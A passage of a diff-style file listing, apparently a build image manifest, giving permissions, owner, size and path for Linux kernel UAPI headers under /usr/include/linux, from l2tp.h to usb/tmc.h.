+-rw-r--r-- root root 5672 ./usr/include/linux/l2tp.h
+-rw-r--r-- root root 8289 ./usr/include/linux/libc-compat.h
+-rw-r--r-- root root 5042 ./usr/include/linux/lightnvm.h
+-rw-r--r-- root root 937 ./usr/include/linux/limits.h
+-rw-r--r-- root root 8102 ./usr/include/linux/lirc.h
+-rw-r--r-- root root 3164 ./usr/include/linux/llc.h
+-rw-r--r-- root root 2520 ./usr/include/linux/loop.h
+-rw-r--r-- root root 4190 ./usr/include/linux/lp.h
+-rw-r--r-- root root 1273 ./usr/include/linux/lwtunnel.h
+-rw-r--r-- root root 3604 ./usr/include/linux/magic.h
+-rw-r--r-- root root 4713 ./usr/include/linux/major.h
+-rw-r--r-- root root 7251 ./usr/include/linux/map_to_7segment.h
+-rw-r--r-- root root 1464 ./usr/include/linux/matroxfb.h
+-rw-r--r-- root root 1035 ./usr/include/linux/max2175.h
+-rw-r--r-- root root 15645 ./usr/include/linux/mdio.h
+-rw-r--r-- root root 6540 ./usr/include/linux/media-bus-format.h
+-rw-r--r-- root root 12641 ./usr/include/linux/media.h
+-rw-r--r-- root root 1993 ./usr/include/linux/mei.h
+-rw-r--r-- root root 7899 ./usr/include/linux/membarrier.h
+-rw-r--r-- root root 1324 ./usr/include/linux/memfd.h
+-rw-r--r-- root root 2154 ./usr/include/linux/mempolicy.h
+-rw-r--r-- root root 2529 ./usr/include/linux/meye.h
+-rw-r--r-- root root 6519 ./usr/include/linux/mic_common.h
+-rw-r--r-- root root 2252 ./usr/include/linux/mic_ioctl.h
+-rw-r--r-- root root 8281 ./usr/include/linux/mii.h
+-rw-r--r-- root root 2122 ./usr/include/linux/minix_fs.h
+-rw-r--r-- root root 1508 ./usr/include/linux/mman.h
+drwxr-xr-x root root 4096 ./usr/include/linux/mmc
+-rw-r--r-- root root 2331 ./usr/include/linux/mmc/ioctl.h
+-rw-r--r-- root root 2117 ./usr/include/linux/mmtimer.h
+-rw-r--r-- root root 255 ./usr/include/linux/module.h
+-rw-r--r-- root root 4546 ./usr/include/linux/mount.h
+-rw-r--r-- root root 2302 ./usr/include/linux/mpls.h
+-rw-r--r-- root root 761 ./usr/include/linux/mpls_iptunnel.h
+-rw-r--r-- root root 2201 ./usr/include/linux/mqueue.h
+-rw-r--r-- root root 4931 ./usr/include/linux/mroute6.h
+-rw-r--r-- root root 5881 ./usr/include/linux/mroute.h
+-rw-r--r-- root root 6731 ./usr/include/linux/msdos_fs.h
+-rw-r--r-- root root 3374 ./usr/include/linux/msg.h
+-rw-r--r-- root root 8175 ./usr/include/linux/mtio.h
+-rw-r--r-- root root 3024 ./usr/include/linux/nbd.h
+-rw-r--r-- root root 2378 ./usr/include/linux/nbd-netlink.h
+-rw-r--r-- root root 4828 ./usr/include/linux/ncsi.h
+-rw-r--r-- root root 6770 ./usr/include/linux/ndctl.h
+-rw-r--r-- root root 4406 ./usr/include/linux/neighbour.h
+-rw-r--r-- root root 614 ./usr/include/linux/netconf.h
+-rw-r--r-- root root 2253 ./usr/include/linux/netdevice.h
+-rw-r--r-- root root 2839 ./usr/include/linux/net_dropmon.h
+drwxr-xr-x root root 4096 ./usr/include/linux/netfilter
+drwxr-xr-x root root 4096 ./usr/include/linux/netfilter_arp
+-rw-r--r-- root root 5999 ./usr/include/linux/netfilter_arp/arp_tables.h
+-rw-r--r-- root root 606 ./usr/include/linux/netfilter_arp/arpt_mangle.h
+-rw-r--r-- root root 445 ./usr/include/linux/netfilter_arp.h
+drwxr-xr-x root root 4096 ./usr/include/linux/netfilter_bridge
+-rw-r--r-- root root 1274 ./usr/include/linux/netfilter_bridge/ebt_802_3.h
+-rw-r--r-- root root 9308 ./usr/include/linux/netfilter_bridge/ebtables.h
+-rw-r--r-- root root 2043 ./usr/include/linux/netfilter_bridge/ebt_among.h
+-rw-r--r-- root root 900 ./usr/include/linux/netfilter_bridge/ebt_arp.h
+-rw-r--r-- root root 289 ./usr/include/linux/netfilter_bridge/ebt_arpreply.h
+-rw-r--r-- root root 1056 ./usr/include/linux/netfilter_bridge/ebt_ip6.h
+-rw-r--r-- root root 1094 ./usr/include/linux/netfilter_bridge/ebt_ip.h
+-rw-r--r-- root root 616 ./usr/include/linux/netfilter_bridge/ebt_limit.h
+-rw-r--r-- root root 538 ./usr/include/linux/netfilter_bridge/ebt_log.h
+-rw-r--r-- root root 388 ./usr/include/linux/netfilter_bridge/ebt_mark_m.h
+-rw-r--r-- root root 831 ./usr/include/linux/netfilter_bridge/ebt_mark_t.h
+-rw-r--r-- root root 387 ./usr/include/linux/netfilter_bridge/ebt_nat.h
+-rw-r--r-- root root 510 ./usr/include/linux/netfilter_bridge/ebt_nflog.h
+-rw-r--r-- root root 267 ./usr/include/linux/netfilter_bridge/ebt_pkttype.h
+-rw-r--r-- root root 286 ./usr/include/linux/netfilter_bridge/ebt_redirect.h
+-rw-r--r-- root root 1110 ./usr/include/linux/netfilter_bridge/ebt_stp.h
+-rw-r--r-- root root 719 ./usr/include/linux/netfilter_bridge/ebt_vlan.h
+-rw-r--r-- root root 1168 ./usr/include/linux/netfilter_bridge.h
+-rw-r--r-- root root 1758 ./usr/include/linux/netfilter_decnet.h
+-rw-r--r-- root root 1674 ./usr/include/linux/netfilter.h
+drwxr-xr-x root root 4096 ./usr/include/linux/netfilter/ipset
+-rw-r--r-- root root 428 ./usr/include/linux/netfilter/ipset/ip_set_bitmap.h
+-rw-r--r-- root root 9108 ./usr/include/linux/netfilter/ipset/ip_set.h
+-rw-r--r-- root root 578 ./usr/include/linux/netfilter/ipset/ip_set_hash.h
+-rw-r--r-- root root 609 ./usr/include/linux/netfilter/ipset/ip_set_list.h
+drwxr-xr-x root root 4096 ./usr/include/linux/netfilter_ipv4
+-rw-r--r-- root root 1488 ./usr/include/linux/netfilter_ipv4.h
+-rw-r--r-- root root 6647 ./usr/include/linux/netfilter_ipv4/ip_tables.h
+-rw-r--r-- root root 425 ./usr/include/linux/netfilter_ipv4/ipt_ah.h
+-rw-r--r-- root root 821 ./usr/include/linux/netfilter_ipv4/ipt_CLUSTERIP.h
+-rw-r--r-- root root 431 ./usr/include/linux/netfilter_ipv4/ipt_ecn.h
+-rw-r--r-- root root 901 ./usr/include/linux/netfilter_ipv4/ipt_ECN.h
+-rw-r--r-- root root 654 ./usr/include/linux/netfilter_ipv4/ipt_LOG.h
+-rw-r--r-- root root 468 ./usr/include/linux/netfilter_ipv4/ipt_REJECT.h
+-rw-r--r-- root root 431 ./usr/include/linux/netfilter_ipv4/ipt_ttl.h
+-rw-r--r-- root root 375 ./usr/include/linux/netfilter_ipv4/ipt_TTL.h
+drwxr-xr-x root root 4096 ./usr/include/linux/netfilter_ipv6
+-rw-r--r-- root root 1383 ./usr/include/linux/netfilter_ipv6.h
+-rw-r--r-- root root 8011 ./usr/include/linux/netfilter_ipv6/ip6_tables.h
+-rw-r--r-- root root 657 ./usr/include/linux/netfilter_ipv6/ip6t_ah.h
+-rw-r--r-- root root 744 ./usr/include/linux/netfilter_ipv6/ip6t_frag.h
+-rw-r--r-- root root 458 ./usr/include/linux/netfilter_ipv6/ip6t_hl.h
+-rw-r--r-- root root 408 ./usr/include/linux/netfilter_ipv6/ip6t_HL.h
+-rw-r--r-- root root 645 ./usr/include/linux/netfilter_ipv6/ip6t_ipv6header.h
+-rw-r--r-- root root 662 ./usr/include/linux/netfilter_ipv6/ip6t_LOG.h
+-rw-r--r-- root root 439 ./usr/include/linux/netfilter_ipv6/ip6t_mh.h
+-rw-r--r-- root root 400 ./usr/include/linux/netfilter_ipv6/ip6t_NPT.h
+-rw-r--r-- root root 649 ./usr/include/linux/netfilter_ipv6/ip6t_opts.h
+-rw-r--r-- root root 470 ./usr/include/linux/netfilter_ipv6/ip6t_REJECT.h
+-rw-r--r-- root root 985 ./usr/include/linux/netfilter_ipv6/ip6t_rt.h
+-rw-r--r-- root root 3305 ./usr/include/linux/netfilter_ipv6/ip6t_srh.h
+-rw-r--r-- root root 4421 ./usr/include/linux/netfilter/nf_conntrack_common.h
+-rw-r--r-- root root 438 ./usr/include/linux/netfilter/nf_conntrack_ftp.h
+-rw-r--r-- root root 576 ./usr/include/linux/netfilter/nf_conntrack_sctp.h
+-rw-r--r-- root root 1415 ./usr/include/linux/netfilter/nf_conntrack_tcp.h
+-rw-r--r-- root root 896 ./usr/include/linux/netfilter/nf_conntrack_tuple_common.h
+-rw-r--r-- root root 538 ./usr/include/linux/netfilter/nf_log.h
+-rw-r--r-- root root 1522 ./usr/include/linux/netfilter/nf_nat.h
+-rw-r--r-- root root 900 ./usr/include/linux/netfilter/nfnetlink_acct.h
+-rw-r--r-- root root 2444 ./usr/include/linux/netfilter/nfnetlink_compat.h
+-rw-r--r-- root root 5924 ./usr/include/linux/netfilter/nfnetlink_conntrack.h
+-rw-r--r-- root root 1202 ./usr/include/linux/netfilter/nfnetlink_cthelper.h
+-rw-r--r-- root root 2930 ./usr/include/linux/netfilter/nfnetlink_cttimeout.h
+-rw-r--r-- root root 2428 ./usr/include/linux/netfilter/nfnetlink.h
+-rw-r--r-- root root 3106 ./usr/include/linux/netfilter/nfnetlink_log.h
+-rw-r--r-- root root 2665 ./usr/include/linux/netfilter/nfnetlink_osf.h
+-rw-r--r-- root root 3499 ./usr/include/linux/netfilter/nfnetlink_queue.h
+-rw-r--r-- root root 576 ./usr/include/linux/netfilter/nf_synproxy.h
+-rw-r--r-- root root 731 ./usr/include/linux/netfilter/nf_tables_compat.h
+-rw-r--r-- root root 51835 ./usr/include/linux/netfilter/nf_tables.h
+-rw-r--r-- root root 4467 ./usr/include/linux/netfilter/x_tables.h
+-rw-r--r-- root root 1084 ./usr/include/linux/netfilter/xt_addrtype.h
+-rw-r--r-- root root 718 ./usr/include/linux/netfilter/xt_AUDIT.h
+-rw-r--r-- root root 935 ./usr/include/linux/netfilter/xt_bpf.h
+-rw-r--r-- root root 740 ./usr/include/linux/netfilter/xt_cgroup.h
+-rw-r--r-- root root 563 ./usr/include/linux/netfilter/xt_CHECKSUM.h
+-rw-r--r-- root root 217 ./usr/include/linux/netfilter/xt_CLASSIFY.h
+-rw-r--r-- root root 374 ./usr/include/linux/netfilter/xt_cluster.h
+-rw-r--r-- root root 230 ./usr/include/linux/netfilter/xt_comment.h
+-rw-r--r-- root root 577 ./usr/include/linux/netfilter/xt_connbytes.h
+-rw-r--r-- root root 360 ./usr/include/linux/netfilter/xt_connlabel.h
+-rw-r--r-- root root 575 ./usr/include/linux/netfilter/xt_connlimit.h
+-rw-r--r-- root root 900 ./usr/include/linux/netfilter/xt_connmark.h
+-rw-r--r-- root root 199 ./usr/include/linux/netfilter/xt_CONNMARK.h
+-rw-r--r-- root root 301 ./usr/include/linux/netfilter/xt_CONNSECMARK.h
+-rw-r--r-- root root 2557 ./usr/include/linux/netfilter/xt_conntrack.h
+-rw-r--r-- root root 199 ./usr/include/linux/netfilter/xt_cpu.h
+-rw-r--r-- root root 853 ./usr/include/linux/netfilter/xt_CT.h
+-rw-r--r-- root root 483 ./usr/include/linux/netfilter/xt_dccp.h
+-rw-r--r-- root root 429 ./usr/include/linux/netfilter/xt_devgroup.h
+-rw-r--r-- root root 701 ./usr/include/linux/netfilter/xt_dscp.h
+-rw-r--r-- root root 697 ./usr/include/linux/netfilter/xt_DSCP.h
+-rw-r--r-- root root 736 ./usr/include/linux/netfilter/xt_ecn.h
+-rw-r--r-- root root 418 ./usr/include/linux/netfilter/xt_esp.h
+-rw-r--r-- root root 3256 ./usr/include/linux/netfilter/xt_hashlimit.h
+-rw-r--r-- root root 188 ./usr/include/linux/netfilter/xt_helper.h
+-rw-r--r-- root root 933 ./usr/include/linux/netfilter/xt_HMARK.h
+-rw-r--r-- root root 1393 ./usr/include/linux/netfilter/xt_IDLETIMER.h
+-rw-r--r-- root root 485 ./usr/include/linux/netfilter/xt_ipcomp.h
+-rw-r--r-- root root 581 ./usr/include/linux/netfilter/xt_iprange.h
+-rw-r--r-- root root 680 ./usr/include/linux/netfilter/xt_ipvs.h
+-rw-r--r-- root root 739 ./usr/include/linux/netfilter/xt_l2tp.h
+-rw-r--r-- root root 470 ./usr/include/linux/netfilter/xt_LED.h
+-rw-r--r-- root root 221 ./usr/include/linux/netfilter/xt_length.h
+-rw-r--r-- root root 673 ./usr/include/linux/netfilter/xt_limit.h
+-rw-r--r-- root root 642 ./usr/include/linux/netfilter/xt_LOG.h
+-rw-r--r-- root root 227 ./usr/include/linux/netfilter/xt_mac.h
+-rw-r--r-- root root 260 ./usr/include/linux/netfilter/xt_mark.h
+-rw-r--r-- root root 184 ./usr/include/linux/netfilter/xt_MARK.h
+-rw-r--r-- root root 721 ./usr/include/linux/netfilter/xt_multiport.h
+-rw-r--r-- root root 421 ./usr/include/linux/netfilter/xt_nfacct.h
+-rw-r--r-- root root 556 ./usr/include/linux/netfilter/xt_NFLOG.h
+-rw-r--r-- root root 779 ./usr/include/linux/netfilter/xt_NFQUEUE.h
+-rw-r--r-- root root 1703 ./usr/include/linux/netfilter/xt_osf.h
+-rw-r--r-- root root 535 ./usr/include/linux/netfilter/xt_owner.h
+-rw-r--r-- root root 553 ./usr/include/linux/netfilter/xt_physdev.h
+-rw-r--r-- root root 188 ./usr/include/linux/netfilter/xt_pkttype.h
+-rw-r--r-- root root 1051 ./usr/include/linux/netfilter/xt_policy.h
+-rw-r--r-- root root 400 ./usr/include/linux/netfilter/xt_quota.h
+-rw-r--r-- root root 859 ./usr/include/linux/netfilter/xt_rateest.h
+-rw-r--r-- root root 390 ./usr/include/linux/netfilter/xt_RATEEST.h
+-rw-r--r-- root root 220 ./usr/include/linux/netfilter/xt_realm.h
+-rw-r--r-- root root 1058 ./usr/include/linux/netfilter/xt_recent.h
+-rw-r--r-- root root 320 ./usr/include/linux/netfilter/xt_rpfilter.h
+-rw-r--r-- root root 2326 ./usr/include/linux/netfilter/xt_sctp.h
+-rw-r--r-- root root 549 ./usr/include/linux/netfilter/xt_SECMARK.h
+-rw-r--r-- root root 1827 ./usr/include/linux/netfilter/xt_set.h
+-rw-r--r-- root root 640 ./usr/include/linux/netfilter/xt_socket.h
+-rw-r--r-- root root 331 ./usr/include/linux/netfilter/xt_state.h
+-rw-r--r-- root root 716 ./usr/include/linux/netfilter/xt_statistic.h
+-rw-r--r-- root root 664 ./usr/include/linux/netfilter/xt_string.h
+-rw-r--r-- root root 498 ./usr/include/linux/netfilter/xt_SYNPROXY.h
+-rw-r--r-- root root 253 ./usr/include/linux/netfilter/xt_tcpmss.h
+-rw-r--r-- root root 235 ./usr/include/linux/netfilter/xt_TCPMSS.h
+-rw-r--r-- root root 407 ./usr/include/linux/netfilter/xt_TCPOPTSTRIP.h
+-rw-r--r-- root root 1250 ./usr/include/linux/netfilter/xt_tcpudp.h
+-rw-r--r-- root root 333 ./usr/include/linux/netfilter/xt_TEE.h
+-rw-r--r-- root root 730 ./usr/include/linux/netfilter/xt_time.h
+-rw-r--r-- root root 575 ./usr/include/linux/netfilter/xt_TPROXY.h
+-rw-r--r-- root root 752 ./usr/include/linux/netfilter/xt_u32.h
+-rw-r--r-- root root 2085 ./usr/include/linux/net.h
+-rw-r--r-- root root 1524 ./usr/include/linux/netlink_diag.h
+-rw-r--r-- root root 7825 ./usr/include/linux/netlink.h
+-rw-r--r-- root root 715 ./usr/include/linux/net_namespace.h
+-rw-r--r-- root root 807 ./usr/include/linux/netrom.h
+-rw-r--r-- root root 4914 ./usr/include/linux/net_tstamp.h
+-rw-r--r-- root root 1534 ./usr/include/linux/nexthop.h
+-rw-r--r-- root root 11209 ./usr/include/linux/nfc.h
+-rw-r--r-- root root 1468 ./usr/include/linux/nfs2.h
+-rw-r--r-- root root 2359 ./usr/include/linux/nfs3.h
+-rw-r--r-- root root 6338 ./usr/include/linux/nfs4.h
+-rw-r--r-- root root 1932 ./usr/include/linux/nfs4_mount.h
+-rw-r--r-- root root 668 ./usr/include/linux/nfsacl.h
+drwxr-xr-x root root 4096 ./usr/include/linux/nfsd
+-rw-r--r-- root root 3122 ./usr/include/linux/nfsd/cld.h
+-rw-r--r-- root root 736 ./usr/include/linux/nfsd/debug.h
+-rw-r--r-- root root 2113 ./usr/include/linux/nfsd/export.h
+-rw-r--r-- root root 3517 ./usr/include/linux/nfsd/nfsfh.h
+-rw-r--r-- root root 421 ./usr/include/linux/nfsd/stats.h
+-rw-r--r-- root root 1608 ./usr/include/linux/nfs_fs.h
+-rw-r--r-- root root 4500 ./usr/include/linux/nfs.h
+-rw-r--r-- root root 2243 ./usr/include/linux/nfs_idmap.h
+-rw-r--r-- root root 2142 ./usr/include/linux/nfs_mount.h
+-rw-r--r-- root root 7589 ./usr/include/linux/nilfs2_api.h
+-rw-r--r-- root root 18085 ./usr/include/linux/nilfs2_ondisk.h
+-rw-r--r-- root root 280715 ./usr/include/linux/nl80211.h
+-rw-r--r-- root root 2410 ./usr/include/linux/n_r3964.h
+-rw-r--r-- root root 639 ./usr/include/linux/nsfs.h
+-rw-r--r-- root root 8191 ./usr/include/linux/nubus.h
+-rw-r--r-- root root 1661 ./usr/include/linux/nvme_ioctl.h
+-rw-r--r-- root root 532 ./usr/include/linux/nvram.h
+-rw-r--r-- root root 20853 ./usr/include/linux/omap3isp.h
+-rw-r--r-- root root 5918 ./usr/include/linux/omapfb.h
+-rw-r--r-- root root 511 ./usr/include/linux/oom.h
+-rw-r--r-- root root 37676 ./usr/include/linux/openvswitch.h
+-rw-r--r-- root root 1672 ./usr/include/linux/packet_diag.h
+-rw-r--r-- root root 141 ./usr/include/linux/param.h
+-rw-r--r-- root root 3644 ./usr/include/linux/parport.h
+-rw-r--r-- root root 892 ./usr/include/linux/patchkey.h
+-rw-r--r-- root root 1380 ./usr/include/linux/pci.h
+-rw-r--r-- root root 56733 ./usr/include/linux/pci_regs.h
+-rw-r--r-- root root 711 ./usr/include/linux/pcitest.h
+-rw-r--r-- root root 34228 ./usr/include/linux/perf_event.h
+-rw-r--r-- root root 2097 ./usr/include/linux/personality.h
+-rw-r--r-- root root 10569 ./usr/include/linux/pfkeyv2.h
+-rw-r--r-- root root 2394 ./usr/include/linux/pg.h
+-rw-r--r-- root root 1654 ./usr/include/linux/phantom.h
+-rw-r--r-- root root 4677 ./usr/include/linux/phonet.h
+-rw-r--r-- root root 2687 ./usr/include/linux/pktcdvd.h
+-rw-r--r-- root root 15441 ./usr/include/linux/pkt_cls.h
+-rw-r--r-- root root 27648 ./usr/include/linux/pkt_sched.h
+-rw-r--r-- root root 5444 ./usr/include/linux/pmu.h
+-rw-r--r-- root root 22 ./usr/include/linux/poll.h
+-rw-r--r-- root root 1254 ./usr/include/linux/posix_acl.h
+-rw-r--r-- root root 1115 ./usr/include/linux/posix_acl_xattr.h
+-rw-r--r-- root root 1098 ./usr/include/linux/posix_types.h
+-rw-r--r-- root root 3285 ./usr/include/linux/ppdev.h
+-rw-r--r-- root root 2527 ./usr/include/linux/ppp-comp.h
+-rw-r--r-- root root 5107 ./usr/include/linux/ppp_defs.h
+-rw-r--r-- root root 5438 ./usr/include/linux/ppp-ioctl.h
+-rw-r--r-- root root 4734 ./usr/include/linux/pps.h
+-rw-r--r-- root root 8073 ./usr/include/linux/prctl.h
+-rw-r--r-- root root 1073 ./usr/include/linux/pr.h
+-rw-r--r-- root root 798 ./usr/include/linux/psample.h
+-rw-r--r-- root root 4328 ./usr/include/linux/psci.h
+-rw-r--r-- root root 4036 ./usr/include/linux/psp-sev.h
+-rw-r--r-- root root 6731 ./usr/include/linux/ptp_clock.h
+-rw-r--r-- root root 4265 ./usr/include/linux/ptrace.h
+-rw-r--r-- root root 2469 ./usr/include/linux/qemu_fw_cfg.h
+-rw-r--r-- root root 2328 ./usr/include/linux/qnx4_fs.h
+-rw-r--r-- root root 624 ./usr/include/linux/qnxtypes.h
+-rw-r--r-- root root 893 ./usr/include/linux/qrtr.h
+-rw-r--r-- root root 6291 ./usr/include/linux/quota.h
+-rw-r--r-- root root 360 ./usr/include/linux/radeonfb.h
+drwxr-xr-x root root 4096 ./usr/include/linux/raid
+-rw-r--r-- root root 16161 ./usr/include/linux/raid/md_p.h
+-rw-r--r-- root root 4484 ./usr/include/linux/raid/md_u.h
+-rw-r--r-- root root 1370 ./usr/include/linux/random.h
+-rw-r--r-- root root 365 ./usr/include/linux/raw.h
+-rw-r--r-- root root 11081 ./usr/include/linux/rds.h
+-rw-r--r-- root root 1343 ./usr/include/linux/reboot.h
+-rw-r--r-- root root 775 ./usr/include/linux/reiserfs_fs.h
+-rw-r--r-- root root 533 ./usr/include/linux/reiserfs_xattr.h
+-rw-r--r-- root root 2347 ./usr/include/linux/resource.h
+-rw-r--r-- root root 3682 ./usr/include/linux/rfkill.h
+-rw-r--r-- root root 3248 ./usr/include/linux/rio_cm_cdev.h
+-rw-r--r-- root root 9330 ./usr/include/linux/rio_mport_cdev.h
+-rw-r--r-- root root 1238 ./usr/include/linux/romfs_fs.h
+-rw-r--r-- root root 2232 ./usr/include/linux/rose.h
+-rw-r--r-- root root 2332 ./usr/include/linux/route.h
+-rw-r--r-- root root 544 ./usr/include/linux/rpmsg.h
+-rw-r--r-- root root 4904 ./usr/include/linux/rseq.h
+-rw-r--r-- root root 4009 ./usr/include/linux/rtc.h
+-rw-r--r-- root root 19055 ./usr/include/linux/rtnetlink.h
+-rw-r--r-- root root 4897 ./usr/include/linux/rxrpc.h
+-rw-r--r-- root root 4597 ./usr/include/linux/scc.h
+drwxr-xr-x root root 4096 ./usr/include/linux/sched
+-rw-r--r-- root root 4647 ./usr/include/linux/sched.h
+-rw-r--r-- root root 4480 ./usr/include/linux/sched/types.h
+-rw-r--r-- root root 6382 ./usr/include/linux/scif_ioctl.h
+-rw-r--r-- root root 2479 ./usr/include/linux/screen_info.h
+-rw-r--r-- root root 34783 ./usr/include/linux/sctp.h
+-rw-r--r-- root root 2839 ./usr/include/linux/sdla.h
+-rw-r--r-- root root 3235 ./usr/include/linux/seccomp.h
+-rw-r--r-- root root 2704 ./usr/include/linux/securebits.h
+-rw-r--r-- root root 3297 ./usr/include/linux/sed-opal.h
+-rw-r--r-- root root 589 ./usr/include/linux/seg6_genl.h
+-rw-r--r-- root root 1170 ./usr/include/linux/seg6.h
+-rw-r--r-- root root 423 ./usr/include/linux/seg6_hmac.h
+-rw-r--r-- root root 927 ./usr/include/linux/seg6_iptunnel.h
+-rw-r--r-- root root 2060 ./usr/include/linux/seg6_local.h
+-rw-r--r-- root root 1195 ./usr/include/linux/selinux_netlink.h
+-rw-r--r-- root root 3043 ./usr/include/linux/sem.h
+-rw-r--r-- root root 6436 ./usr/include/linux/serial_core.h
+-rw-r--r-- root root 3866 ./usr/include/linux/serial.h
+-rw-r--r-- root root 15496 ./usr/include/linux/serial_reg.h
+-rw-r--r-- root root 2063 ./usr/include/linux/serio.h
+-rw-r--r-- root root 3785 ./usr/include/linux/shm.h
+-rw-r--r-- root root 1233 ./usr/include/linux/signalfd.h
+-rw-r--r-- root root 388 ./usr/include/linux/signal.h
+-rw-r--r-- root root 2835 ./usr/include/linux/smc_diag.h
+-rw-r--r-- root root 780 ./usr/include/linux/smc.h
+-rw-r--r-- root root 1058 ./usr/include/linux/smiapp.h
+-rw-r--r-- root root 13014 ./usr/include/linux/snmp.h
+-rw-r--r-- root root 727 ./usr/include/linux/sock_diag.h
+-rw-r--r-- root root 819 ./usr/include/linux/socket.h
+-rw-r--r-- root root 6846 ./usr/include/linux/sockios.h
+-rw-r--r-- root root 2290 ./usr/include/linux/sonet.h
+-rw-r--r-- root root 5309 ./usr/include/linux/sonypi.h
+-rw-r--r-- root root 46038 ./usr/include/linux/soundcard.h
+-rw-r--r-- root root 1237 ./usr/include/linux/sound.h
+drwxr-xr-x root root 4096 ./usr/include/linux/spi
+-rw-r--r-- root root 5286 ./usr/include/linux/spi/spidev.h
+-rw-r--r-- root root 6100 ./usr/include/linux/stat.h
+-rw-r--r-- root root 131 ./usr/include/linux/stddef.h
+-rw-r--r-- root root 1275 ./usr/include/linux/stm.h
+-rw-r--r-- root root 238 ./usr/include/linux/string.h
+drwxr-xr-x root root 4096 ./usr/include/linux/sunrpc
+-rw-r--r-- root root 1144 ./usr/include/linux/sunrpc/debug.h
+-rw-r--r-- root root 1431 ./usr/include/linux/suspend_ioctls.h
+-rw-r--r-- root root 6711 ./usr/include/linux/swab.h
+-rw-r--r-- root root 4768 ./usr/include/linux/switchtec_ioctl.h
+-rw-r--r-- root root 2883 ./usr/include/linux/sync_file.h
+-rw-r--r-- root root 8985 ./usr/include/linux/synclink.h
+-rw-r--r-- root root 25880 ./usr/include/linux/sysctl.h
+-rw-r--r-- root root 1049 ./usr/include/linux/sysinfo.h
+-rw-r--r-- root root 3899 ./usr/include/linux/target_core_user.h
+-rw-r--r-- root root 7152 ./usr/include/linux/taskstats.h
+drwxr-xr-x root root 4096 ./usr/include/linux/tc_act
+-rw-r--r-- root root 764 ./usr/include/linux/tc_act/tc_bpf.h
+-rw-r--r-- root root 390 ./usr/include/linux/tc_act/tc_connmark.h
+-rw-r--r-- root root 644 ./usr/include/linux/tc_act/tc_csum.h
+-rw-r--r-- root root 934 ./usr/include/linux/tc_act/tc_ct.h
+-rw-r--r-- root root 556 ./usr/include/linux/tc_act/tc_ctinfo.h
+-rw-r--r-- root root 322 ./usr/include/linux/tc_act/tc_defact.h
+-rw-r--r-- root root 626 ./usr/include/linux/tc_act/tc_gact.h
+-rw-r--r-- root root 600 ./usr/include/linux/tc_act/tc_ife.h
+-rw-r--r-- root root 415 ./usr/include/linux/tc_act/tc_ipt.h
+-rw-r--r-- root root 728 ./usr/include/linux/tc_act/tc_mirred.h
+-rw-r--r-- root root 992 ./usr/include/linux/tc_act/tc_mpls.h
+-rw-r--r-- root root 424 ./usr/include/linux/tc_act/tc_nat.h
+-rw-r--r-- root root 1527 ./usr/include/linux/tc_act/tc_pedit.h
+-rw-r--r-- root root 456 ./usr/include/linux/tc_act/tc_sample.h
+-rw-r--r-- root root 1443 ./usr/include/linux/tc_act/tc_skbedit.h
+-rw-r--r-- root root 815 ./usr/include/linux/tc_act/tc_skbmod.h
+-rw-r--r-- root root 1898 ./usr/include/linux/tc_act/tc_tunnel_key.h
+-rw-r--r-- root root 816 ./usr/include/linux/tc_act/tc_vlan.h
+drwxr-xr-x root root 4096 ./usr/include/linux/tc_ematch
+-rw-r--r-- root root 414 ./usr/include/linux/tc_ematch/tc_em_cmp.h
+-rw-r--r-- root root 391 ./usr/include/linux/tc_ematch/tc_em_ipt.h
+-rw-r--r-- root root 2116 ./usr/include/linux/tc_ematch/tc_em_meta.h
+-rw-r--r-- root root 255 ./usr/include/linux/tc_ematch/tc_em_nbyte.h
+-rw-r--r-- root root 384 ./usr/include/linux/tc_ematch/tc_em_text.h
+-rw-r--r-- root root 10857 ./usr/include/linux/tcp.h
+-rw-r--r-- root root 1549 ./usr/include/linux/tcp_metrics.h
+-rw-r--r-- root root 12581 ./usr/include/linux/tee.h
+-rw-r--r-- root root 506 ./usr/include/linux/termios.h
+-rw-r--r-- root root 924 ./usr/include/linux/thermal.h
+-rw-r--r-- root root 1748 ./usr/include/linux/time.h
+-rw-r--r-- root root 936 ./usr/include/linux/timerfd.h
+-rw-r--r-- root root 278 ./usr/include/linux/times.h
+-rw-r--r-- root root 996 ./usr/include/linux/time_types.h
+-rw-r--r-- root root 7817 ./usr/include/linux/timex.h
+-rw-r--r-- root root 1729 ./usr/include/linux/tiocl.h
+-rw-r--r-- root root 14848 ./usr/include/linux/tipc_config.h
+-rw-r--r-- root root 8272 ./usr/include/linux/tipc.h
+-rw-r--r-- root root 9156 ./usr/include/linux/tipc_netlink.h
+-rw-r--r-- root root 468 ./usr/include/linux/tipc_sockets_diag.h
+-rw-r--r-- root root 4288 ./usr/include/linux/tls.h
+-rw-r--r-- root root 1930 ./usr/include/linux/toshiba.h
+-rw-r--r-- root root 4527 ./usr/include/linux/tty_flags.h
+-rw-r--r-- root root 1585 ./usr/include/linux/tty.h
+-rw-r--r-- root root 1476 ./usr/include/linux/types.h
+-rw-r--r-- root root 697 ./usr/include/linux/udf_fs_i.h
+-rw-r--r-- root root 643 ./usr/include/linux/udmabuf.h
+-rw-r--r-- root root 1613 ./usr/include/linux/udp.h
+-rw-r--r-- root root 4648 ./usr/include/linux/uhid.h
+-rw-r--r-- root root 9261 ./usr/include/linux/uinput.h
+-rw-r--r-- root root 732 ./usr/include/linux/uio.h
+-rw-r--r-- root root 798 ./usr/include/linux/uleds.h
+-rw-r--r-- root root 4562 ./usr/include/linux/ultrasound.h
+-rw-r--r-- root root 384 ./usr/include/linux/un.h
+-rw-r--r-- root root 220 ./usr/include/linux/unistd.h
+-rw-r--r-- root root 1328 ./usr/include/linux/unix_diag.h
+drwxr-xr-x root root 4096 ./usr/include/linux/usb
+-rw-r--r-- root root 19490 ./usr/include/linux/usb/audio.h
+-rw-r--r-- root root 12962 ./usr/include/linux/usb/cdc.h
+-rw-r--r-- root root 739 ./usr/include/linux/usb/cdc-wdm.h
+-rw-r--r-- root root 9149 ./usr/include/linux/usb/ch11.h
+-rw-r--r-- root root 38850 ./usr/include/linux/usb/ch9.h
+-rw-r--r-- root root 566 ./usr/include/linux/usb/charger.h
+-rw-r--r-- root root 8317 ./usr/include/linux/usbdevice_fs.h
+-rw-r--r-- root root 10370 ./usr/include/linux/usb/functionfs.h
+-rw-r--r-- root root 2818 ./usr/include/linux/usb/gadgetfs.h
+-rw-r--r-- root root 1385 ./usr/include/linux/usb/g_printer.h
+-rw-r--r-- root root 1097 ./usr/include/linux/usb/g_uvc.h
+-rw-r--r-- root root 640 ./usr/include/linux/usbip.h
+-rw-r--r-- root root 3434 ./usr/include/linux/usb/midi.h
+-rw-r--r-- root root 4713 ./usr/include/linux/usb/tmc.h
